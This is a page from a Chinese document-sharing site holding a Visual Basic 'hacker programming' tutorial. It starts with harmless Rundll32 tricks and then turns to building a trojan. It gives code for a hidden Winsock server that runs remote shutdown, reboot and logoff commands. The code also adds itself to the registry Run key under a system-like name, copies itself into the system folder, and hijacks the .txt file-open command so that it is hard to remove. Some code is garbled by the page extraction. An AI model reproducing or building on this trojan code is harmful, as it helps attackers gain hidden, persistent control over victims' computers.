黑客编程基础.doc
《黑客编程基础.doc》由会员分享,可在线阅读,更多相关《黑客编程基础.doc(35页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、VB黑客编程基础一. 调用系统“创建快捷方式”向导 是否为VB不支持创建快捷方式而于着急呢?虽然 您可以调用vb5stkitDll中的fCreateShellLink函 数,但它是为安装程序设计的,快捷方式的默认路径 总是从当前用户的“Start MenuPrograms”开始,也 就是说,如果您的Windows95装在C盘上,您无法通过 fCreateShellLink函数把快捷方式创建到D盘上去。 现在,给大家介绍一种极为方便、巧妙的方法: 用Shell语句调用系统“创建快捷方式”向导。 新建一个项目,在窗体上放一个按钮,双击此按 钮,加入以下代码: Private Sub Command
2、1_Click() Open App.Path temp.lnk For Output As #1 Close #1 以上两句在程序所在目录建立一 个临时文件 Shell Rundll32.exe AppWiz.Cpl,NewLinkHere App.Path temp.lnk End Sub (注意:Shell语句中NewLinkHere后面跟着一个 空格才是引号,否则将出错。) 运行程序,按一下命令按钮,怎么样?“创建快 捷方式”向导出现了,如果创建成功,快捷方式将取 代临时文件temp.lnk的位置,如果选取消,temp.lnk 也会自动消失。当然,您可以在硬盘的任意位置建立 temp.
3、lnk。好,现在又可以为您的程序增添一项新功 能了。Enjoy! 二. Rundll32.exe的用途 我们知道,用Shell语句只能调用可执行文件,即 exe、com、bat和pif文件,有时我们想要调用其他一 些系统功能该怎么办呢?此时,Windows提供的 Rundll32.exe可大显身手了。下面我们来认识一下这 些用法,也许会给您带来一点惊喜。 1要打开设置系统时间的控制面板文件 (Timedate.cpl),只需运行如下代码: Shell Rundll32.exe Shell32.dll,Control_RunDLL Timedate.cpl 至于打开其他控制面板文件,相信您一定能
4、够举 一反三,尝试一下,换个文件名就成了。 2要运行某一快捷方式(*.lnk)则可以用以下 代码: She11 Rundll32.exe url.dll, FileProtocolHandler X (X代表要运行的文件,包括 路径,下同。 3. 也可以这样写来打开ActiveMovie控制: Shell RUNDLL32.EXE amovie.ocx,Rundll,1 而用Shell RUNDLL32.EXE amovie.ocx,Rundll /play X,1 将直接播放媒体文件。 4. Shell rundll32.exe desk.cpl,InstallScreenSaver X”当
5、然是安装屏幕保 护啦,如果你写了一个屏幕保护程序,那么可以在安 装程序中写上它,而不一定要装到system目录下。顺 便提一下,VB不是自捞一个“Application Setup Wizard”么?它的VB源代码都在安装目录下的 “setupkitsetup1”中放着呢,好好把它研究一下。 你完全能做出富有个性的安装程序来。 5.按住shift键,右击某一文件,菜单中会出现 “打开方式”选项,这也许已不是什么秘密。但现在, 用shell rundll32.exe shell32.dll OpenAs_RunDLL X 便能直接调用“打开方式”框。 6. 甚至能用这样一句来打印文件(包括HTM
6、L所 支持的所有文本与图像格式): Shell rundll32.exe MSHTML.DLL,PrintHTML X”, 1 怎么样?是不是小有收获呢?这下,您一定会对 Rundll32.exe这个平时不起眼的文件另眼相待了,它 可是系统运行必不可少的部件呢!其实 ShellRundll32还能调用其他许多系统功能,比如关 于NetMeeting和Telnet方面的。如果您有兴趣,可以 到往册表的“我的电脑HKEY_CLASSES_ROOT”或“我 的电脑HKEY_LOCAL_MACHINESoftwareCLASSES”下 去看看,本文的内容大都是从那里“抄”来的。只要 有足够的决心、信心
7、、耐心,您一定能发现更多有价 值的东西。Good luck! 主要也就 /showerr.asp?BoardID=0&ErrCodes=60,60&action= 再起作用 程序所有代码仅此两段 Private Sub Command1_Click() WebBrowser1.Navigate (Text1.Text + /showerr.asp?BoardID=0&ErrCodes=60,60&action=) End Sub Private Sub Command2_Click() End End Sub 程序下载. 首先,新建一工程,名为Server,新建一个窗体,Name为Server
8、,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCPIP协议。 接下来我们回来Server窗体模块中,添加如下代码: Private Sub form_Load() With Me .sckServer.LocalPort = 88917本地端口(呵呵!我的生日!) .sckServer.Listen 开始监听 End With End Sub 接受客户端的连接请求。 Private Sub sckServer_ConnectionRequest(ByVal requestID As Long) With Me If .sckServer.State sc
9、kClosed Then .sckServer.Close .sckServer.Accept (requestID) End With End Sub 下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock控件,名为sckClient,协议为TCPIP协议。再加一个按钮cmdConnect在窗体模块中加入代码: Private Sub form_Load() With Me .sckClient.RemoteHost = 127.0.0.1设置远程IP,本例设为本机。 .sckClient.RemotePort = 88917 远程端口
10、,就为server中的设置一样. End With End Sub Private sub cmdConnect_Click() SckClient.Connect End sub 至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。 这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能关机,重启,注销。好,开始吧! 在Server工程中新建一个模块,Name为modApi,这个模快
11、为一些API函数,添加如下API函数: Public Declare Function ExitWindowXXX Lib user32 Alias ExitWindowXXX (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Public Const EWX_LOGOFF = 0 Public Const EWX_REBOOT = 2 Public Const EWX_SHUTDOWN = 1 Public Declare Function ClipCursor Lib user32 Alias ClipCursor (lpRe
12、ct As Any) As Long Public Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type 注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。 下面在Client工程的Client窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码: Private Sub cmdExit_Click() Me.sckClient.SendData Exit End Sub
13、Private Sub cmdLogoff_Click() Me.sckClient.SendData Logoff End Sub Private Sub cmdReboot_Click() Me.sckClient.SendData Reboot End Sub 全都是对服务端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial事件,接收客户端的请求。 Private Sub sckServer_DataArrival(ByVal bytesTotal As Long) Dim strData As String With Me 接收客户请求的
14、信息 .sckServer.GetData strData Select Case strData Case Exit 关机 Call ExitWindowXXX(EWX_SHUTDOWN, 0) Case Reboot 重启 Call ExitWindowXXX(EWX_REBOOT, 0) Case Logoff 注销 Call ExitWindowXXX(EWX_LOGOFF, 0) End Select End With End Sub 好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的form_Load事件中加入一句:me.hide。好这下看不见了
15、,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧! 回到Server工程中的modApi中加入如下API函数: Public Declare Function RegOpenKey Lib advapi32.dll Alias RegOpenKeyA (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegSetvalueEx Lib advapi32.dll Alias RegSetva
16、lueExA (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Declare Function RegCreateKey Lib advapi32.dll Alias RegCreateKeyA (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Publ
17、ic Const REG_BINARY = 3 Public Const REG_SZ = 1 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const HKEY_CLASSES_ROOT = &H80000000 写到注册表启动组中的过程。 Public Sub StartupGroup() Dim sKey As String Dim result As Long Dim hKeyID As Long Dim sKeyVal As String sKey = Systrsy 启动组中的键,找一个与系统文件相近的。 sKeyVal =
18、 C:/windows/system/systrsy.exe 木马文件的路径,可以用GetSystemDirectory来取得系统路径。 result = RegOpenKey(HKEY_LOCAL_MACHINE, _ Software/Microsoft/Windows/CurrentVersion/Run, hKeyID) If result = 0 Then result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1) End If End Sub 好,就这样简单地完成了。但是,想过没有,如果不是很菜的
19、鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码: Public Sub WriteToTxt() Dim result As Long Dim hKeyID As Long Dim skey As String Dim skeyVal As String skey = txtfile/shell/open/command skeyVal = C:/windows/system/txtView.exe result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID) If result = 0
20、 Then result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1) End If End Sub 肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:/windows/system/txtView.exe是哪里来的,我们的木马是C:/windows/system/systrsy.exe呀。这可是我们木马的分身了。 好,回到Server工程的Server窗体的form_Load中,加入如下代码: Dim sCurrentPath As String, sSystemDir As St
21、ring sCurrentPath = App.Path & / & App.EXEName & .exe sSystemDir = “C:/windows/system” On Error Resume Next 复制文件成系统目录下的Systrsy.exe FileCopy sCurrentPath, sSystemDir & /Systrsy.exe On Error Resume Next 复制文件成系统目录下的txtView.exe FileCopy sCurrentPath, sSystemDir & /txtView.exe 调用 Call startupGroup Call W
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 黑客 编程 基础
限制150内